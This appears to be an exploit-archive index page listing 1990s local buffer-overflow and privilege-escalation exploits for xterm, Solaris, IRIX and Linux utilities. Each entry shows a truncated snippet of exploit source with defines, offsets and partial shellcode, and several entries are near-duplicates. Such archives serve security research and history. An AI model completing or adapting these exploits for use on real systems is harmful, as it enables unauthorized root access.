libtermcap_xterm_exploit.txt

Subject: libtermcap xterm exploit To: [email protected] / libtermcap xterm exploit by m0f0 1999 it works for xterm/nxterm Tested Slackware 3.5, 3.6 / include define BUFSIZE 5000 define POSRET 2000 define POSSEP 3000 define RETADDR 0xbfffefef define EGG "/tmp/eggtermcap" // shellcode char...

Solaris 7.0 usrbinmail - -m Local Buffer Overflow

Solaris 7.0 usrbinmail - -m Local Buffer Overflow // source: https://www.securityfocus.com/bid/672/info A buffer overflow vulnerability in the '/usr/bin/mail' program's handling of the '-m' command line argument allows local users to obtain access to the 'mail' group. / Generic Solaris x86 exploi...

digital-unix4.0-asm-shell.txt

Date: Tue, 26 Jan 1999 15:18:08 -0500 From: Seth Michael McGann To: [email protected] Subject: Re: Digital Unix 4.0 exploitable buffer overflows On Mon, 25 Jan 1999, Lamont Granquist wrote: Previously Digital Unix has been relatively immune to buffer overflow attacks due to the lack of an...

Fred N. van Kempen dip 3.3.7 - Local Buffer Overflow (1)

Fred N. van Kempen dip 3.3.7 - Local Buffer Overflow 1 // source: https://www.securityfocus.com/bid/86/info A buffer overflow resides in 'dip-3.3.7o' and derived programs. This is a problem only on systems where 'dip' is installed setuid. The culpable code is an 'sprintf' in line 192 in 'main.c':...

Fred N. van Kempen dip 3.3.7 - Local Buffer Overflow (2)

// source: https://www.securityfocus.com/bid/86/info A buffer overflow resides in 'dip-3.3.7o' and derived programs. This is a problem only on systems where 'dip' is installed setuid. The culpable code is an 'sprintf' in line 192 in 'main.c': sprintfbuf, "%s/LCK..%s", PATHLOCKD, nam; / Linux x86...

Solaris 2.4 passwd, yppasswd, and nispasswd Overflow Exploits

Exploit for solaris platform in category local exploits ============================================================= Solaris 2.4 passwd, yppasswd, and nispasswd Overflow Exploits ============================================================= ---------------------------- file newpass.c...

Solaris 5.5.1 X11R6.3 - xterm '-xrm' Local Privilege Escalation

/ X11R6.3 xterm exploit for solaris 5.5.1 by DCRH 28/5/97 / include include include include define EXTRA2 1300 define BUFLENGTH 400 define EXTRA 500 / Need an addr such that contents of addr+0xe98 = 0 / define SAFEADDR unsigned0xefff2008 define STACKOFFSET 0x4800 define SPARCNOP 0xa61cc013 ulong...

Solaris 5.5.1 X11R6.3 - xterm -xrm Local Privilege Escalation

Solaris 5.5.1 X11R6.3 - xterm -xrm Local Privilege Escalation / X11R6.3 xterm exploit for solaris 5.5.1 by DCRH 28/5/97 / include include include include define EXTRA2 1300 define BUFLENGTH 400 define EXTRA 500 / Need an addr such that contents of addr+0xe98 = 0 / define SAFEADDR unsigned0xefff20...

Solaris 5.5.1 X11R6.3 xterm (-xrm) Local Root Exploit

Exploit for solaris platform in category local exploits ===================================================== Solaris 5.5.1 X11R6.3 xterm -xrm Local Root Exploit ===================================================== / X11R6.3 xterm exploit for solaris 5.5.1 by DCRH 28/5/97 / include include inclu...

IRIX 5.3 /usr/sbin/iwsh Local Root Buffer Overflow

Exploit for irix platform in category local exploits ================================================== IRIX 5.3 /usr/sbin/iwsh Local Root Buffer Overflow ================================================== / /usr/sbin/iwsh.c exploit by DCRH 27/5/97 Tested on: R3000 Indigo Irix 5.3 R4400 Indy Irix...

IRIX 5.3 - usrsbiniwsh Local Buffer Overflow Local Privilege Escalation

IRIX 5.3 - usrsbiniwsh Local Buffer Overflow Local Privilege Escalation / /usr/sbin/iwsh.c exploit by DCRH 27/5/97 Tested on: R3000 Indigo Irix 5.3 R4400 Indy Irix 5.3 Irix 5.x only compile as: cc iwsh.c / include include include include include define NUMADDRESSES 500 define BUFLENGTH 500 define...

IRIX 5.3 - '/usr/sbin/iwsh' Local Buffer Overflow / Local Privilege Escalation

/ /usr/sbin/iwsh.c exploit by DCRH 27/5/97 Tested on: R3000 Indigo Irix 5.3 R4400 Indy Irix 5.3 Irix 5.x only compile as: cc iwsh.c / include include include include include define NUMADDRESSES 500 define BUFLENGTH 500 define EXTRA 9000 define OFFSET 0x180 define GPOFFSET -0x80 define IRIXNOP...

SGI IRIX - '/bin/login' Local Buffer Overflow

/ /bin/login exploit by DCRH 24/5/97 Tested on: R3000 Indigo Irix 5.3 R4400 Indy Irix 5.3 R5000 O2 Irix 6.3 R8000 Power Challenge Irix 6.2 Compile as: cc -n32 login.c for Irix 6.x cc login.c for Irix 5.x Press enter when prompted for a password / include include include include include define...

SGI IRIX - binlogin Local Buffer Overflow

SGI IRIX - binlogin Local Buffer Overflow / /bin/login exploit by DCRH 24/5/97 Tested on: R3000 Indigo Irix 5.3 R4400 Indy Irix 5.3 R5000 O2 Irix 6.3 R8000 Power Challenge Irix 6.2 Compile as: cc -n32 login.c for Irix 6.x cc login.c for Irix 5.x Press enter when prompted for a password / include...

SGI IRIX - 'LsD' Multiple Local Buffer Overflows

/ copyright by / / Last Stage of Delirium, Dec 1996, Poland/ include include include define BUFSIZE 2068 define OFFS 800 define ADDRS 3 define ALIGN 0 define ALIGN2 4 char...

LibXt - 'XtAppInitialize()' Local Overflow *xterm

/ cxterm buffer overflow exploit for Linux. This code is tested on both Slackware 3.1 and 3.2. Ming Zhang [email protected] / include include include include define CXTERMPATH "/usr/X11R6/bin/cxterm" define BUFFERSIZE 1024 define DEFAULTOFFSET 50 define NOPSIZE 1 char nop = "\x90"; char shellcod...

LibXt - XtAppInitialize() Local Overflow *xterm

LibXt - XtAppInitialize Local Overflow xterm / cxterm buffer overflow exploit for Linux. This code is tested on both Slackware 3.1 and 3.2. Ming Zhang [email protected] / include include include include define CXTERMPATH "/usr/X11R6/bin/cxterm" define BUFFERSIZE 1024 define DEFAULTOFFSET 50 defi...

LibXt XtAppInitialize() overflow *xterm exploit

Exploit for linux platform in category local exploits =============================================== LibXt XtAppInitialize overflow xterm exploit =============================================== / cxterm buffer overflow exploit for Linux. This code is tested on both Slackware 3.1 and 3.2. Ming...

Solaris 2.4 /bin/fdformat Local Buffer Overflow Exploits

Exploit for solaris platform in category local exploits ======================================================== Solaris 2.4 /bin/fdformat Local Buffer Overflow Exploits ======================================================== --------------------------- lion24.c ---------------------------------...

Solaris 2.4 - '/bin/fdformat' Local Buffer Overflow

--------------------------- lion24.c --------------------------------- / Solaris 2.4 / include include include include define BUFLENGTH 264 define EXTRA 36 define STACKOFFSET -56 define SPARCNOP 0xa61cc013 uchar sparcshellcode = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"...